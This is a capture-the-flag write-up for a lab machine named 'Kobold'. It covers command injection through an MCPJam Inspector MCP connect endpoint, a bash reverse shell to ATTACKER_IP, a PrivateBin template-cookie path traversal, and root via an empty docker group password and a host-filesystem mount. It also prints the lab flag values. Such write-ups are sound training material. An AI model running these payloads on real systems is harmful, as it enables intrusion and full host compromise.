Machine Info

  • Name: Kobold
  • IP: 10.129.245.50
  • OS: Linux (Ubuntu)
  • Difficulty: Easy
  • Key Skills: MCP Server Command Injection, PrivateBin LFI (GHSA-g2j9-g8r5-rg82), Docker Socket Abuse, newgrp/sg Group Switching

Summary

Kobold is a Linux machine running three services - an nginx reverse proxy fronting a PrivateBin 2.0.2 instance, an MCPJam Inspector web application, and SSH. The wildcard TLS certificate (*.kobold.htb) hints at subdomains: bin.kobold.htb (PrivateBin) and mcp.kobold.htb (MCPJam Inspector). The MCPJam Inspector exposes an API endpoint (/api/mcp/connect) that accepts arbitrary MCP server configurations including stdio transport with user-controlled command and args - effectively allowing remote command execution on the host. This yields a reverse shell as ben. For privilege escalation, the docker group in /etc/gshadow has an empty password, allowing any user to switch into it via sg docker or newgrp docker. Mounting the host filesystem into a Docker container gives full root access.

Attack Chain:

Subdomain enum -> MCPJam /api/mcp/connect (RCE) -> shell as ben -> sg docker (empty group password) -> docker mount host root -> root

Reconnaissance

Port Scan

nmap -sC -sV -Pn --min-rate 1000 10.129.245.50

Key open ports:

Port Service Details
22 SSH OpenSSH 9.6p1 Ubuntu
80 HTTP nginx 1.24.0 - redirects to HTTPS
443 HTTPS nginx 1.24.0 - “Kobold Operations Suite”

The TLS certificate has a wildcard SAN: *.kobold.htb, indicating subdomains exist.

Subdomain Enumeration

Fuzzing the Host header against kobold.htb reveals two subdomains:

  • bin.kobold.htb - PrivateBin 2.0.2
  • mcp.kobold.htb - MCPJam Inspector (React SPA)

Service Architecture

Port 443 -> nginx reverse proxy (TLS termination)
  bin.kobold.htb -> PrivateBin 2.0.2 (PHP-FPM on port 8080)
  mcp.kobold.htb -> MCPJam Inspector (Node.js on port 6274)

Initial Access - MCPJam Inspector Command Injection

Discovering the API

The MCPJam Inspector is a web-based tool for testing MCP (Model Context Protocol) servers. Extracting API routes from the bundled JavaScript reveals several endpoints:

curl -sk https://mcp.kobold.htb/assets/index-DRYhT9Xb.js \
  | grep -oE '"/api/[^"]*"' | sort -u

Key endpoints:

  • /api/mcp/connect - Connect to an MCP server
  • /api/mcp/servers - List connected servers
  • /api/mcp/tools/execute - Execute MCP tools

Exploiting the Connect Endpoint

The /api/mcp/connect endpoint accepts a serverConfig object with transportType, command, and args fields. When transportType is stdio, the server spawns the specified command directly on the host - with no validation or sanitization.

Testing command execution:

curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverId":"test","serverConfig":{"transportType":"stdio","command":"id","args":[]}}'

The response confirms execution:

{"success":false,"error":"Connection failed for server test: MCP error -32000: Connection closed"}

The command runs but the connection closes because id is not an MCP server. The error proves arbitrary command execution.

Reverse Shell

Set up a listener and trigger a bash reverse shell:

# Attacker
ncat -lvnp 9001
# Trigger via MCPJam API
curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverId":"shell",
    "serverConfig":{
      "transportType":"stdio",
      "command":"bash",
      "args":["-c","bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"]
    }
  }'
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

User Flag

ben@kobold:~$ cat /home/ben/user.txt
17d05c930a07049b127319cd2d6f2f42

PrivateBin LFI - GHSA-g2j9-g8r5-rg82

PrivateBin 2.0.2 is vulnerable to Local File Inclusion via the template cookie. When templateselection is enabled, the TemplateSwitcher blindly trusts user input to construct file paths:

PATH/tpl/{user_input}.php

A path traversal payload like template=../cfg/conf includes the PrivateBin configuration file. While the PrivateBin config has PHP protection headers that prevent clean output, the vulnerability confirms the application is running vulnerable code.

curl -sk -v -b "template=../cfg/conf" https://bin.kobold.htb/
# Returns HTTP 500 - file included but PHP protection triggers an error

The /privatebin-data/ directory is accessible to the operator group (which ben belongs to), exposing the TLS private key:

cat /privatebin-data/certs/key.pem

Privilege Escalation - Docker Socket Abuse

Enumeration

Checking group memberships reveals the escalation path:

ben@kobold:~$ cat /etc/group | grep -E "docker|operator"
operator:x:37:ben,alice
docker:x:111:alice
  • ben is in the operator group but not docker
  • alice is in both operator and docker
  • The Docker socket is owned by root:docker

Docker Group Password - Empty in gshadow

The docker group has an empty password in /etc/gshadow. This means any user can switch into the docker group using newgrp or sg without knowing a password.

In a non-interactive shell, newgrp blocks waiting for TTY input. The sg command works as a drop-in alternative:

ben@kobold:~$ sg docker -c "id"
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

Enumerating Docker Images

ben@kobold:~$ sg docker -c "docker images"
REPOSITORY                    TAG       IMAGE ID       CREATED        SIZE
mysql                         latest    f66b7a288113   6 weeks ago    922MB
privatebin/nginx-fpm-alpine   2.0.2     f5f5564e6731   4 months ago   122MB

Mounting the Host Filesystem

With Docker access, mount the entire host filesystem into a container and read the root flag:

sg docker -c "docker run -v /:/mnt --rm mysql chroot /mnt cat /root/root.txt"
2932d5fc422d9b3dc396da2780b1fe76

For a full root shell:

sg docker -c "docker run -it -v /:/mnt --rm mysql chroot /mnt bash"
root@container:/# id
uid=0(root) gid=0(root) groups=0(root)

Lessons Learned

  1. MCP server connection endpoints are a new attack surface - MCPJam Inspector’s /api/mcp/connect executes arbitrary commands via stdio transport. Any application that spawns MCP servers from user input without validation is effectively an RCE endpoint.
  2. PrivateBin template switching enables LFI - GHSA-g2j9-g8r5-rg82 affects versions before 2.0.3. The template cookie allows path traversal to include arbitrary PHP files on the system.
  3. Empty group passwords in gshadow are dangerous - If a privileged group (like docker) has an empty password field in /etc/gshadow, any local user can join it with newgrp or sg. This is often overlooked during hardening.
  4. Docker group membership equals root - Any user who can talk to the Docker socket can mount the host filesystem and gain full root access. The docker group should be treated as equivalent to root.
  5. sg bypasses TTY requirements - When newgrp hangs in a non-interactive shell, sg group -c "command" achieves the same group switch without requiring a terminal.